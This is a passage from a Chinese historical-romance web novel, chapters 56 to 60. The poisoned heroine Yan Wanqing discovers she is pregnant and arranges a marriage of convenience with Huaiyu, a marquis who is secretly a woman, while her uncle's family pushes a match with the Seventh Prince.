燕凌珍见她的反应平平,这下子不乐意了:“阿姐怎么一点都不惊讶啊,这是多么大的一个秘密啊,一个侯府的继承人,竟然是个女子!阿姐竟然只是笑笑,好像早就知道了一样……等等,阿姐难道你——” 燕凌珍瞪大眼睛看向燕晚清,在她的目光中,燕晚清微微点头。 “什么时候?!” “今天回来的路上。”燕晚清说道。 燕刘氏的拦车举动,那壶热茶,让燕晚清知道了怀玉竟然是女儿身。 她各个地方都藏的很好,唯独那里。 “好了不说这个了,这是北疆侯府的事情,与我们无关。”燕晚清摇了摇头,燕凌珍吐吐小舌头:“好好好,阿姐说的是,那是别人家的事情,与我们无关。” 布针结束,燕晚清看着开始收拾的燕凌珍伸出了手腕。 “小六帮我看看,今日一直觉得犯困,腰疼的,睡觉总是睡不醒,不知是不是千机又加重了。” 燕凌珍故作高深的伸出两根手指按上脉搏:“让神医红佛手来替阿姐看看……我的亲娘!” “怎么了?”燕晚清被她吓了一跳。 燕凌珍瞠目结舌,她一把抓住燕晚清的手腕,又细细的把脉,确认无误后,她几乎要从椅子上摔下去。 “怎么了?小六。” 燕凌珍看着燕晚清满眼不敢置信:“阿姐,你一个人究竟是怎么做到的?” “什么啊?” “你一个人怎么做到怀有身孕的?!”燕凌珍压低声音一边说道,一边用手在她的肚子上比划。 燕晚清愣住:“你再说一遍。” 燕凌珍从地上爬起来,用手摁住燕晚清的肚子:“阿姐,这里有个小生命。” “……你是说我,我……”燕晚清顿了一下,随即冷静下来,手隔着燕凌珍的手放在了自己的小腹上:“我有了?” “嗯!”燕凌珍重重的点头:“阿姐你是神女吗?能自己孕育出来小生命?” “说什么屁话。”燕晚清被她说的忍不住翻了个白眼:“你是大夫,还信这些。” “既然不是,那是谁?”燕凌珍表情更加诡异:“到底是哪个挨千刀的男人……” “阿姐现在不能说。”燕晚清现在心里翻江倒海,事情一件接着一件,她有些应接不暇。 “行……吧。”燕凌珍眼神黯淡了些许:“阿姐现在打算怎么办?” 燕晚清看着自己平坦的小腹,她摇了摇头:“我不知道,小六你再宽限我两日,两日之后我告诉你答案。” “……好。”燕凌珍不知道自己是怎么走出莲园的,她失魂落魄的回到了自己的院子,心里对于那个得到阿姐的男人破口大骂。 那可是她心目中的女神啊,到底是哪个丧尽天良的狗男人下的手! 阿姐竟然还把他保护的好好的! 他何德何能啊! 莲园里,燕晚清遣散了侍女,独自坐在屋内。 南山那次太过于匆忙,她甚至都没有来得及喝下避子汤。 谁又能想到她这副沉珂病骨还能拥有孩子。 她看着肚子,怔怔入神。 是打掉,还是…… 屋内的烛火摇曳了一夜,燕晚清最终还是承受不住睡意来袭,沉沉的睡了过去。 没有人知道,在她睡过去之后,一个长相矜贵的男人将她拥入了怀中,也跟着沉沉的睡了过去。 一夜无梦。 燕晚清醒来发现自己睡的异常的好,只是空气中有一股散不去的栀子香,淡雅又浓郁,让人沉迷。 第五十六章 二叔归来,针尖对麦芒 燕晚清还在穿衣服的时候,前厅便来人提醒她,说是二老爷回来了。 二老爷,也就是她的二叔,燕安。 老太太的亲生儿子。 “没想到二叔竟然将两日的脚程缩短成了一日。”燕晚清咋舌,这嫡长子的威力确实是大。 早年间她和这位二叔打过交道,自大狂妄,也是个被宠坏了典型。 后来他惹了事情,被发配出去,这些年鲜少有消息。 不知道如今又变成了什么脾性。 燕晚清听下人们说孙氏已经带着宋姨娘等人到了前厅迎接二叔,她便叹了一口气,到底是二叔,父亲的兄弟,她多少还是得给个面子的,于是让从歌从欢快些帮自己穿戴。 等到她到的时候,众人正围着一桌开始用早膳了。 燕晚清进门便看见老太太边上坐着一个身着紫红色长袍的男子,和父亲有着五分相似,双眼狭长,里面充满了市侩和算计,无端让人喜欢不起来。 她父亲的眼里都是正气凛然。 “晚清快些过来坐下,哈哈哈多年不见,都长这么大了。”燕安笑呵呵的说道,声音有点尖细。 燕晚清闻言安静的在母亲旁边坐下。 她父亲的声音是浑厚低沉的。 燕刘氏因为燕安的回来,像是一下子有了主心骨,整个人十分的乖巧安静,就连平日没事就喜欢杵拐杖发脾气的老太太,今日也跟着慈祥了不少。 燕家向来是食不言寝不语的,之前燕晚清因为身体不好,早膳都直接端到了院子里,今日倒是这些时日头一回和大家一起用早膳。 期间,燕刘氏一直给燕安剥着鸡蛋,给他布菜,殷勤的不得了。 眼看着吃得差不多了,燕刘氏再也忍不住啜泣出声。 燕安皱着眉冷下脸来。 “饭都没吃完,你哭什么!” 燕刘氏嘤嘤嘤:“我们在这里吃香的喝辣的,民生不知道在牢里受什么苦呢,他从小到大都没有吃过这种苦,受过这种罪,你教我如何心里不难受啊……” 燕晚清低着头喝着碗里的最后两口粥。 旁边的燕红昭燕凌珍还有燕子濯也吃着碗里的早膳,燕家人没有浪费粮食的习惯。 孙氏胃口小,早在燕刘氏哭出来之前便吃好了,此时正在喝热茶。 听到她哭泣,孙氏低着眉眼没有搭理。 燕安自然也是注意到了大嫂一家的沉默,脸色不是很好看,将筷子重重的摔在了桌子上。 “闭嘴!你若是平日里好好管教,哪里会让他做出这种事情来?!” 燕刘氏悲伤不能自已:“现在说这些都已经晚了,眼下要想想如何救救我们民生才是。” 老太太也情不自禁的跟着擦拭着眼角:“是啊,都是一家人,眼下要好好想想怎么把民生这个孩子弄出来才是。” 燕安重重的叹了一口气,目光看向了孙氏:“大嫂,你看着这件事情……” 孙氏端着的茶盏微微抖动了一下。 燕晚清此时已经吃完了早膳,正就着茶水漱口。 只听见孙氏不平不喜的声音响起:“一切都要等大理寺的公文出来。” “等公文出来那就晚了!”燕刘氏忍不住开口:“大嫂你忍心看着我们夫妻俩白发人送黑发人吗?” “二婶此言差矣。”燕晚清开口道:“抓人的是大理寺,又不是我母亲,你们这般逼迫所为何?” “大人说话你插什么嘴!”老太太忍不住重重放下碗筷,将桌子拍的啪啪作响。 燕晚清可不是被吓大的,直接当做没有听见看见,眼神直勾勾的落在了燕安身上:“二叔也是当官的,自然明白其中道理,我母亲无官无职,你们想要救堂哥,怎么也求不到我母亲身上才是。” 燕安眼中闪过精光,此时燕刘氏见燕晚清几次三番的插嘴,恨的是牙痒痒:“你是不是想要逼死你堂哥才罢休!” “闭嘴。”燕安突然呵斥道。 燕刘氏瞬间噤声。 燕安看向了燕晚清,最后又把视线落在了孙氏身上:“晚清说的是,这件事情是我们欠考虑的,只是听闻孙家公子孙文兴也在这桩案子里,不知道孙家是怎么处理的。” 孙氏眼观鼻鼻观心:“孙家有鸿煊自会处理,我一个出嫁几十年的老姑娘跟着参活什么劲,大理寺秉公执法,怎么判,那孙家便怎么认罢了,横竖是摊上了人命官司,自己惹的祸,那就得自己认。” 这话说的燕安直接冷下脸来。 “嫂子的意思便是直接不管了是么!” 燕晚清见不得有人对着孙氏吼,当下也跟着冷笑:“二叔是什么意思?身为朝廷四品官员,这是要知法犯法了!可是觉得前些年的流放轻了,忘记其中滋味了!” 此话一出针尖对麦芒,气氛一下子冷凝下来。 她自然不会买燕安的账。 想她历经沙场点兵,身上的气势自然是不会输给一个只会舞文弄墨的文官的。 等燕晚清将周身气势全放,那燕安造出来的一点戾气早就烟消云散了。 “燕晚清你怎么说话的,他可是你二叔!”老太太最是见不得这些,赶紧助威。 燕晚清再次左耳朵进右耳朵出,目光直勾勾的盯着燕安:“二叔,你是怎么回到京城的,需要我给你好好回忆回忆么?” 她的人可是查到了一些不干不净的东西。 燕安眼中闪过慌乱,他当下缓和语气:“你这孩子真是的,年纪不大脾气不小,二叔和你母亲说话,你怎么还急眼了,真没必要,是吧嫂子。” 孙氏懒懒的抬头看了他一眼,嗯了一声表示回应。 对于这个曾经想要对她不轨的小叔子,孙氏向来是不怎么给好脸色的。 燕安自然也知道当年的一些破事,这顿早膳吃的不上不下。 等孙氏下了桌,燕家的孩子也全跟着走了,只剩下燕安,燕刘氏还是老太太了。 “一家子冷血的,真不知道当初大哥是怎么瞧上这孙氏的。”燕刘氏忍不住骂道。 燕安上下打量了一下燕刘氏,嗤笑道。 “还能怎么瞧上的,用眼睛瞧上的。” 孙青莲当年可是京都第一美女加才女,多少王侯将相求娶的对象,哪怕是嫁给了大哥,那也是不少人的梦中情人。 这么多年过去了,依然风韵犹存,不减当年。 自然不是一个小地方出来的燕刘氏可以比拟的。 面对燕安不留情的嘲讽,燕刘氏不但没有反驳,反而讨好的笑道:“相公说的是,是我愚昧了,自然是用眼睛瞧上的。” 老太太厌恶的移开了眼睛。 这个听不出好赖话的蠢货。 “想要救民生,只能再想想其他办法了。”燕安沉声说道:“我就这一个嫡长子,养了这么大,可不能有闪失。” 第五十七章 歪心思,给安平说媒 姐弟几个跟着孙氏一路走到了后院,期间燕子濯一直低着脑袋看起来很不开心。 燕红昭就一直在哄他,问他怎么了。 燕子濯也不说话。 燕凌珍白着一张小脸,站在旁边:“小七今天被二叔吼了,因为这样才不开心的。” “因为什么?”燕红昭问道。 “因为二叔回来的时候,小七正在玩蹴鞠,没看见他,蹴鞠撞到了他的脚,所以小七就被骂了一顿。” 燕凌珍叹了一口气说道,伸出手拍了拍燕子濯的小脑袋:“小七你没必要因为不重要的人生气,他们不值得你去内耗自己。” 这番话说的在场的几个人神情都松动了几分。 燕晚清不由得深深的看了一眼自己这个六妹。 小小年纪竟然如此豁达。 燕子濯被安慰到了,但是心里依旧不是很舒服,他不敢冲着孙氏和燕晚清撒娇,只能冲着燕红昭和燕凌珍说道。 “五姐六姐,小七不喜欢二叔一家,可不可以不要他们呆在我们家啊。” 燕红昭当下就想跟着附和,那二婶打她姨娘的事情刚过去没多久,二叔回来就骂了小七,还真当镇国府是他们家了不成。 但是她不敢说。 燕凌珍自然是更加厌恶他们的,从小到大可没少被那燕刘氏磋磨。 小七见燕红昭和燕凌珍都不搭理他,更加委屈了,眼眶湿漉漉红彤彤的,看起来非常可怜。 “你们放心吧,他们待不了多久的。”走在前面的燕晚清突然站停,开口说道。 说这话的时候孙氏叹息:“慎言。” 燕晚清却很认真的继续说道:“小六说得对,人生苦短,没必要将时间浪费在一些不重要的人身上,既然二叔一家都不喜欢我们,我们也没必要去讨好他们,且不说他们来了惹了多少麻烦,光是燕民生杀人这件事情,就会连带着圣上都对我们燕家不满,这件事情的后果有多么严重,母亲应该看得比我还要远才是。” 孙氏下意识的摸了摸自己手腕上的佛珠,颗颗圆润,因为体温所以摸在指尖尚温:“再等等,还不是时候。” 见孙氏松口,燕晚清便点了点头,走到闷闷不乐的燕子濯面前蹲下来,她又伸出手揉了揉燕凌珍的小脑袋。 “这里是我们的家,大姐不会让你们在家里都活得不开心的。” 这句话算是承诺了。 燕子濯听到大姐都这样说,心情瞬间好了,旁边的燕凌珍此刻也眼圈微红,只不过她啥也没说。 进了里屋,伺候孙氏的嬷嬷看见来人了,便赶紧乐呵呵的送上来一碟子糕点。 “这是厨房里新研究的,用鸡蛋做的,给小姐少爷们尝尝鲜。” 糕点松软绵嫩,带着鸡蛋的香气迅速扑鼻而来,燕子濯高兴的连吃两大块。 偏偏燕晚清闻到了气味便觉得胃里翻腾,很是不舒服。 她微微蹙眉,坐在了偏远的位置上。 按道理来说她不应该这样,难道是…… 燕晚清下意识的低头看自己的小腹,是因为这个孩子才有的反胃么? “阿姐吃蜜饯。”燕凌珍突然塞过来一枚蜜饯,黄橙橙的:“是杏子,小六自己做的哦。” 燕晚清塞进了嘴里,酸酸甜甜,将刚刚的恶心压了下去。 这丫头,心思太细了。 她忍不住在心里对燕凌珍感慨道。 真的不像是一个十二岁的小姑娘应该有的心细。 不过自己从小就是个怪物,老六是自己的亲妹妹,有这种反应和天赋,也是理所应当的。 燕晚清很快便释然。 又在孙氏的屋子里坐了一会儿,燕晚清觉得身子疲惫,便径直回了莲园。 此时二房这边正因为燕民生的事情讨论的热火朝天。 燕刘氏认为都是因为燕晚清的缘故,所以孙氏才会这般抵制去用镇国府的权势把燕民生救出来。 “孙青莲现在又不掌权,整日守着个佛堂,清心寡欲的,家里大大小小的事情都交给姨娘去打理,这说出去简直要笑死人,还有啊,那燕晚清,都十九了,还没有定亲,再过几年都要成老姑娘了,整日在家里指手画脚的,又心狠手辣,冷血的很,连自己的堂哥都不愿意施以援手。” 老太太向来不喜欢燕晚清,点点头:“这倒是,如果不是因为燕晚清一直在阻挠,说不定今日早晨,孙氏便派人去大理寺了。” “只要这燕晚清在家一天,别说是救民生了,我们都没有一天的好日过,上次她让家丁将我堵在娘那边堵了一天,简直是目无尊长,无法无天!”燕刘氏说起对燕晚清的怒气,那是三天三夜都说不尽。 燕安在一边听着,摩挲着下巴,回想上午燕晚清当众顶撞自己,不由得对自己这个外甥女印象极差。 “那能怎么办,她是圣上亲封的郡主,虽说是有自己的郡主府,却也不能将她强行赶出门去啊,我们根本没有立场去说这件事情。” 这里是燕晚清的家,她来去自如的,二房根本插不上手。 燕刘氏紧皱眉头,突然说道:“所以我们得想一个让她不得不搬出去的法子。” “什么法子?”燕安一看燕刘氏就知道她肚子里憋着坏水,有些不耐烦的催促:“你倒是说啊。” 老太太也凑上来:“你的意思是想让燕晚清嫁人?” 此话一出,燕刘氏立刻点头:“还是娘聪明,确实,只要燕晚清嫁人了,那么家中事情她就不能随便插手了。” “说的简单,谈何容易?”燕安冷笑:“你当是她及笄之前媒婆踏破门槛的时候了,现在整个京都谁还会愿意娶她。” 大家又不傻,娶一个不能生育的豪门贵女回去当摆设么? 门第低的他们燕家看不上,门第高的又没有人愿意。 不然那燕晚清能到十九还待字闺中么,一张脸完美的遗传了孙青莲的美貌,说是倾国倾城也不为过啊。 燕刘氏摇了摇头:“话不能说的这么绝对,我前些时日听说了一件有趣的事情。” “别卖关子,快说。”燕安十分不耐烦。 燕刘氏不敢耽搁:“是从她的贴身丫鬟嘴里知道的,咱们当今的七皇子殿下一直对燕晚清有情谊,还愿意用正妻之位娶她过门呢,但是现在就碍于她不肯松口,僵持着呢。” “竟然有这等事情?!”老太太惊呼:“你怎么不早说,要是能当上七皇子的正妃,也不算是辱没了咱们镇国府的门楣啊。” “七皇子现在如日中天,在朝中有很多支持者,据说能和太子殿下分庭抗礼……”燕安沉思低吟道:“倘若我将燕晚清与七皇子的婚事说成了,那么七皇子势必要对我高看几分,届时重回高位也不是不可能,尤其是现在陛下对太子殿下态度不明,以后的情况还真的不好说……” 燕安越想越高兴,他拍了拍燕刘氏的肩膀:“你这次可算聪明了一回,只要燕晚清嫁给了七皇子,七皇子对咱们儿子的事情肯定不会袖手旁观的。” 第五十八章 疯了吧?你想让我喜当爹 燕晚清睡回笼觉的时候,压根不知道自己被二房的人给惦记上了。 等她醒来的时候,觉得整个人又疲惫又恶心,吐又吐不出来,一直干呕。 从歌看她难受的不行,便想要去出去喊大夫,被燕晚清一把抓住:“去把小六喊过来,就说我想吃她亲手做的杏脯。” 燕凌珍从孙氏的院子里过来莲园,一进门便看见燕晚清坐在贵妃榻上,低头正在棋盘上摆弄,她心思微动,让从歌带着丫鬟们退下了。 等到房门全部关闭,燕凌珍才凑上前来,坐在了燕晚清的对面,轻轻的喊了一声:“阿姐。” “我想留下。”燕晚清低着头,直接说了出来。 燕凌珍蹙眉,并不赞成:“阿姐可知代价?” 燕晚清自然是知道的,但是她依然选择要冒这个险。 她的身子骨很差,以后可能都不能生育了,这是唯一一次能够拥有自己孩子的机会。 燕晚清觉得这是老天爷送给她的希望,是两辈子为人的唯一实质性的变数。 所以她不想放弃。 “现在还瞒得住,往后时间长了阿姐可有想好对策?”燕凌珍知道燕晚清的意思后,便开始想对策。 “阿姐有自己的郡主府,倒也可以出去住一段时间,但是怎么和母亲说呢?离得又近,只怕纸包不住火。” 燕晚清眯着潋滟的狐狸眼,这些她自然是想过的,如果要留下这个孩子,势必要做个万全准备。 “我要他正大光明的出现在这个世界上。” 燕凌珍捂嘴惊呼:“阿姐想清楚让那个渣男负责了?” “不是他。”燕晚清直接摇头,她根本不想和萧家人有任何牵扯,她掩盖住眸中的情绪:“这是我的孩子,我一个人的,和他没关系。” “那阿姐的意思是找个老实人嫁了?”燕凌珍愣住。 燕晚清不明白燕凌珍怎么有那么多不明所以的词语,像是“渣男”、“老实人”这种词汇,听着怪奇特的。 “现在有一个很合适的人选。”燕晚清将一颗黑子和一颗白子放在了棋盘上:“刚好,他也需要我的帮助。” 燕凌珍不笨,看着燕晚清将黑白子对调位置,她忍不住舔了舔干涩的唇角:“北疆小侯爷。” “嗯。”北疆小侯爷怀玉,身份高贵,与镇国府联姻门当户对,更重要的是他是个女儿身,她嫁过去不需要履行夫妻之实,还有最最重要的一个原因,燕晚清知道怀玉有意在京都寻求一门婚事,帮助他在北疆巩固自己的地位。 这么一来,他们两家的联姻,各取所需,实在是太合适了。 燕凌珍不由得打心里佩服自己的大姐。 这种前卫的思想,这种充满谋略的手段,真不愧是大女主。 “阿姐准备什么时候提?” 燕凌珍刚问出口,便听见外面传来脚步声,燕晚清将棋子丢回棋篓里,淡定的开口:“择日不如撞日。” 话音刚落,门口传来敲门声。 “小姐,小侯爷到了。” 燕凌珍冲着燕晚清竖起了大拇指。 真行,这行动力。 燕晚清伸出手将她的大拇指摁了下去,冲着门口说道:“知道了,我马上过去。” 跟外男见面自然是不能在女子闺房的,燕晚清带着燕凌珍到了外室里,怀玉正在喝茶。 她们进去之后,丫鬟们便全部退下了。 燕晚清一个动作下,风雨楼的暗卫便将整个厢房包围住。 怀玉喝茶的动作都顿住了,明显是注意到了外面多了不少人,脸上的神情都跟着意味不明起来。 “郡主这是何意?” 燕晚清表情柔和的在旁边的位置坐下:“想和小侯爷谈一笔交易。” 怀玉看着她挑眉,没有吭声。 燕晚清提着一旁的茶壶给茶杯里续上茶水,一边说道:“我知小侯爷有意和京都的贵女联姻,不知可有合适的人选。” “果然就没有能够瞒住郡主的秘密,是这样,但是京都的女儿家好似不太喜欢本侯爷这款,故而到现在也没有所获。” 燕晚清红唇微勾,单手托着自己的下巴,凑上前去,平日里清冷的眸子里波光潋滟:“侯爷觉得我如何?” 怀玉惊得手里的半盏茶又泼了一半在身上。 “……上次郡主不是拒绝了?”怀玉很是不解。 燕晚清轻笑:“今时不同往日,我他日只当小侯爷是男子,所以才拒绝。” “……当本侯是男子……拒绝……”怀玉咀嚼着这几个字,眼里原本的温和此刻已经被寒光遮盖,他冷下脸来:“你知道了什么?” 燕晚清不以为意:“小侯爷也说了这京都就没有能够瞒得住我的秘密。”她说着,捏着怀玉端茶的手,将剩下的半盏茶也泼在了他的身上。 “你!”怀玉一下子就知道了是那日,马车上。 燕晚清见她回忆起来,继续说道:“除了公主,京都没有再比我身份尊贵的贵女了,小侯爷娶我的益处要更多。” “我想知道你为何突然改变主意。”怀玉不再刻意拿捏强调,嗓音里多了女子的柔媚。 燕晚清抓起她的手,轻轻的放在了自己的小腹上,两眼亮晶晶的看着怀玉:“因为这个。” 怀玉瞠目结舌:“你,你怎么?” 旁边一直看戏的燕凌珍打了个哈欠:“这有什么好大惊小怪的。” 怀玉觉得匪夷所思,这堂堂安平郡主未婚先孕,这种事情难道不值得大惊小怪? “孩子的父亲是?”她忍不住问道。 燕晚清却将她的手拂开:“不该问的事情别问。” 怀玉脸都绿了:“你想让我喜当爹。” 燕晚清没吭声,燕凌珍却忍不住翻了个白眼:“说的好像你是个真男人似的。” 怀玉:“……” “六妹少说几句。”燕晚清打断他们二人之间的交流,表情认真的看向怀玉:“公平起见,现在你也知道了我的秘密,咱们都是女儿身,又都有自己身上的担子,母亲也希望我能够嫁到北疆去,你还有什么顾虑可以现在提出来。” 怀玉表情复杂,燕晚清若是嫁给她,是百利而无一害的,只是她也说了,同为女子,怀玉一直对她都是有恻隐之心的。 “我只怕你往后会后悔。” 燕晚清摇了摇头,伸出手去握住怀玉的:“你不用担心这个,我不会后悔。” 怀玉轻叹一口气:“婚姻大事不是儿戏,郡主要三思而后行啊,我这样的人,这辈子也许就这样了,但是郡主不一样,还有美好的人生,我实在不想因此拖累到郡主。” 如果不是因为不想连累别人,以她的手段,早就和京都的贵女们打的火热了。 就在这时她听见燕晚清沉重的说道。 “嫁给你,我也是有目的的。” 第五十九章 媒婆上门,婚事再生变故 燕晚清将自己身中千机之毒,恐时日无多的消息最终还是选择告诉了怀玉。 “你想要的东西,想要走的路,想要摆平的一切,我都会尽力帮助你,只希望真的到了那天,你能够将这个孩子当做亲生的来对待。” 怀玉从听到燕晚清中毒之后便愣住:“所以你之前的身子一直调理不好,都是因为千机?” 看到燕晚清点头后,怀玉面色十分沉重:“我听说这个毒目前没有解药。” “现在没有,以后一定会有。”燕凌珍攥紧自己的小拳头说道,她直勾勾的看着怀玉:“话都说到这个份上了,你到底答应不答应我阿姐。” “这件事情对我益处更大,我不可能不答应,一直犹豫还是担心委屈了郡主。”怀玉无奈的说道。 燕凌珍冷哼:“这就好,来,把这个吃了。” 她从怀中掏出一个瓶子倒出一个药丸,递给怀玉。 怀玉愣住:“这是?” “解毒丸。”燕凌珍神色淡定:“你要是不答应我阿姐,我就让你毒发身亡。” 怀玉面无表情的接过了药丸,直接吞了进去,现在她终于知道,为什么燕晚清跟自己谈事情,身边还带着小丫头片子了,原来是个不可小觑的帮手。 吃了解药,怀玉便和燕晚清商讨这个婚事该如何提出来。 她们二人自小便是有娃娃亲的,所以孙氏那边很好解决,唯一麻烦的是燕晚清的身份,当今圣上曾经说过,燕晚清若是有朝一日要成婚了,他必定是要亲自赐婚的。 “现如今圣上沉迷炼丹,早就不理朝事,面圣难如登天,朝政现如今都是太子殿下在代为打理,要不我明日去见一下他,提一下这件事情,要是能通过他要来圣旨,这件事情就稳妥了。” 燕晚清眼中闪过一道古怪的神色,心中掀起惊涛骇浪。 自己腹中孩子本就是那人的,若是怀玉找过去,他不得掀翻镇国府。 “此事不妥,太子殿下业务繁忙,我进宫面见皇后娘娘也是一样的。”燕晚清哪里敢让太子先知道这件事情。 怀玉没有注意到她的神情变化,连连点头:“你说得对,见皇后娘娘更加稳妥一些。” “我现在便回去修书一封,连夜送回北疆告知,然后近日便开始准备聘礼。” 燕晚清点头:“自然是越快越好。” …… 因为这个突然到来的孩子,事情变得越发复杂起来,燕晚清这几日忙的脚不沾地,回到莲园还要绣嫁衣,她万万没有想到的是,还没有等她面见皇后,那七皇子便派了媒婆上门。 媒婆带着一拨人浩浩荡荡的进了镇国府,燕晚清收到消息的时候正在和怀玉说事。 “谁开的门?”燕晚清皱眉,她早就吩咐过门房,遇到媒婆上门直接回绝,怎么可能让人带着东西直接进了门呢。 从歌知道自家小姐生气了,她语气焦急:“是二房夫人。” 燕刘氏? 燕晚清危险的眯起了双眸,唇角也跟着冷凝下来。 就在此时从欢从外面欢天喜地的跑了过来:“小姐,七皇子派人来提亲了!小姐您快出去看啊!” 燕晚清看着她似笑非笑:“行,我现在就出去看。” 她起身大步抬脚往门外走去,怀玉赶紧跟了过去。 七皇子连招呼都不打一声,直接让媒婆上门这件事情看起来就很诡异,再加上燕刘氏亲自开的门,燕晚清觉得自己有必要怀疑是二房的人搞的鬼。 等她到了前厅,发现二叔二婶老太太全都到了,整整齐齐的坐在位置上。 倒是她和母亲孙氏才刚刚到。 燕晚清抿着唇走了进来,媒婆刚想上前说点讨喜的话,被她眼中的杀气吓得一愣,满肚子的话憋在了嘴边,彻底是说不出来了。 媒婆心里发憷,这安平郡主怎么这般凶狠,实在是太可怕了。 燕晚清不管媒婆,直接看着孙氏:“母亲,我不同意。” “胡闹!”孙氏还没有来得及说话,老太太直接站起来大声呵斥:“别乱说话。” “是啊晚清,你可不能因为前些时日在南山和七皇子殿下闹了些不愉快,便这般下他的脸子,再怎么说也是皇室子孙,要慎重考虑的。”燕刘氏跟着搭话。 燕晚清听完冷哼,目光似笑非笑的扫过去:“听说是二婶亲自开的门。” 燕刘氏面上有些不自然,她干咳一声没吭声,旁边的二叔燕安紧接着开口:“七皇子殿下很是重视你,你看这满屋子的金银珠宝,你若是答应了这门婚事,往后便直接躺着当七皇子的正妃了。” “我说了我不嫁!”燕晚清袖子下的双手攥紧,前世那些带血的场景突然扑面而来,压得她浑身都有些喘不过气来。 提亲提前到来了,那么噩耗也会提前吗? 燕晚清不敢想。 突然身边有人扶住她,只听见怀玉稍显阴柔的少年声音在耳边响起:“本侯与郡主乃是娃娃亲,镇国夫人之前也是亲口应允的,本侯前几日便修书一封寄回北疆准备大婚之事,七皇子这是何意?要抢亲么?” 少年音带着深沉和几分问责,将大厅里的人都给问住了。 媒婆直接拧着眉头看向了燕刘氏:“这是何意?” 燕刘氏哪里知道会是这样,她着急忙慌的问:“嫂子这到底是怎么回事?不是说晚清没有婚配么!” 孙氏冷哼一声,直接走到了主位高座坐下。 她算是看明白了,这七皇子突然提亲这件事,就是她这个小叔子夫妻俩干的好事。 “时间不长,还没有来得及告知你们,晚清和怀玉的婚事我已经允了。”孙氏慢悠悠的说道,然后看向了媒婆:“感谢七皇子对于小女的青睐,只是这件事情讲究先来后到,实在是对不住七皇子殿下了,希望你回去好好解释一番。” 孙氏直接回绝掉了七皇子的婚事,这让燕安瞪大了眼睛,想到自己应允七皇子的事情,他额头上冒出冷汗,赶紧给自己的母亲使眼色。 老太太重重的咳嗽了几声:“慢着!” 孙氏面无表情看过去:“母亲何意?” “婚姻之事向来尊重长辈,老身觉得七皇子更加适配,北疆地处偏远,晚清身子不好,还是留在京都比较合适。” 第六十章 我与她是挚爱亲朋,不需要心计 “你可要想清楚了,那北疆距离京都十万八千里,往后你再想见到女儿,那可就难如登天了,你自己嫁的近不知道母女分别的苦楚,老身是过来人,还是要提点提点你的。”老太太一番话下来,语重心长。 在外人看来,充满了良苦用心。 孙氏自然是考虑到这点的,也知事情确实如此。 晚清身子骨不好,身上还有千机之毒,一旦嫁过去,他们母女俩怕是今生今世都不能见面了。 先前还十分抵触怀玉的她,怎么突然就想出嫁了呢? 难道是同一个屋檐下,生出的情愫? 孙氏沉默不语,那边燕安趁热打铁。 “是啊大嫂,七皇子殿下身份高贵,对晚清更是一往情深,所以七皇子才是良配啊。” 燕晚清满腔怒火的听着这群人安排着自己的婚事,好半饷她低低的笑出了声:“听二叔的意思是,七皇子我是非嫁不可了?” “二叔是过来人,自然是要帮你好好物色的,你是我们镇国府的嫡系大小姐,身子骨又不好,何苦去北疆那种地方受苦呢。” 怀玉赶紧说道:“本侯已经在京都购置了宅院,晚清若是嫁给本侯,在京都待上几年也是未尝不可的,若是她不想去北疆,不去也可以。” 燕安听完脸色铁青:“你年纪小不懂规矩,你同意,你远在北疆的母亲能同意么?” “本侯修书回去便是说的此事,二叔无需担心。” 燕安吹胡子瞪眼:“谁是你二叔。” “晚清已经答应了跟本侯的婚事,自然您就是本侯的二叔了。”怀玉不以为意的继续说道。 燕安不想和这看起来娘里娘气的小侯爷说话,视线落在了燕晚清身上:“七皇子丰神俊朗,明显是要更加与你般配,晚清你可要想清楚了。” “行了!”孙氏突然开口,大厅里瞬间鸦雀无声。 燕晚清看着自己母亲的神色,突然心里有些担忧起来。 只见孙氏沉声开口:“晚清的婚事还需要好好考虑周全,来人,先送这位媒婆回去。” 媒婆也是个心思灵活的:“也好也好,郡主的婚事是件大事情,需要好好考虑考虑,那本媒婆便先行告退了。” “把这些聘礼也一并送回去。”孙氏挥手,家丁们便上前开始搬箱子。 媒婆留下聘礼的心思没成,临走的时候还深深的看了一眼二房的人。 老太太看着那一箱箱的金银珠宝被抬出去,心里别提多难受了。 “当真是昏了头,京都这么好的地方不待着,非要上赶着去吃苦,真是女大不中留。”她气呼呼的摇晃着身子被嬷嬷扶着出去了。 燕晚清听着她嘴里没有一句好话,忍不住翻了个白眼。 刚好被孙氏看见了,燕晚清吐吐舌头低下了头。 孙氏是从佛堂里出来的,自然是要先回去礼佛。 燕晚清对于燕安和燕刘氏的说辞根本半个字都听不进去,一看就是暗地里和七皇子达成了某种协议。 平日里看都不想看自己一眼的燕刘氏,今日看见自己就像是看到了香饽饽,恨不得直接将她五花八绑的送进七皇子府上,她心里才好受。 燕晚清冷下脸色直接走出了前厅。 原本跟母亲说的好好的婚事,今日被二房给耽误了,她的心里窝了一团火。 绝大部分肯定是因为燕民生,七皇子掌管着大理寺,所以燕安和燕刘氏才会想到去讨好七皇子。 他们能够把心思动在自己头上,肯定和她院子里的从欢脱不了干系。 至于是谁授意从欢这么做的,自然是萧鸿深了。 真是好秒的一招。 借力使力,萧鸿深的动作加快了。 她是决计不能让他得逞的。 今生今世她燕晚清必不可能进七皇子府。 “你接下来打算怎么办?”怀玉看着她的神情有些担忧的问道。 燕晚清单手摸着自己的小腹,她眼中都是倔强:“他有他的张良计,我有我的过墙梯,先斩后奏谁不会啊。” 怀玉表情无奈:“别,小祖宗,你这样对自己的名声不好。” “名声?”燕晚清仿佛听到了什么好笑的字眼:“只要能不嫁给萧鸿深,名声又算什么。” “不管怎样,你都是孩子他爹,这件事情你认了就行。” 怀玉只觉得前途很是黯淡:“谨记,铭记,时刻不敢忘怀。” 自从和这位大小姐交心之后,她算是知道了什么才叫山外有山,人外有人,黑心莲花里全是黑心,这位若是入驻了北疆侯府,府里的那几位怕不是都不够她玩的。 燕晚清很满意怀玉的态度,面色好了几分。 “这件事情我自会处理,你去准备聘礼吧,要比今日排场还要大,东西不够就找我要。”燕晚清说着挥挥手,朝着门外走去,看样子是要出门。 怀玉见识过这位大小姐的财大气粗,见她一个人出门又有些不放心:“要不要一起啊。” “不用。”她出门见柴右,跟他商讨一些事情,怀玉跟着反而有些不方便。 怀玉见她的语气坚定,知道自己跟过去只会碍手碍脚,看着燕晚清的背影,她无奈的叹了一口气。 这女子,怎生就这般特立独行。 自己跟她比起来,只能算是小巫见大巫了。 不过燕晚清交代的事情怀玉还是记在心里的,她回屋子收拾了一番,便也出门了,不多时身边出现了一身红衣男子。 “你真要娶那郡主?” 怀玉认真挑选东西:“不然呢?” 红衣男子咋舌:“你玩不过她。” 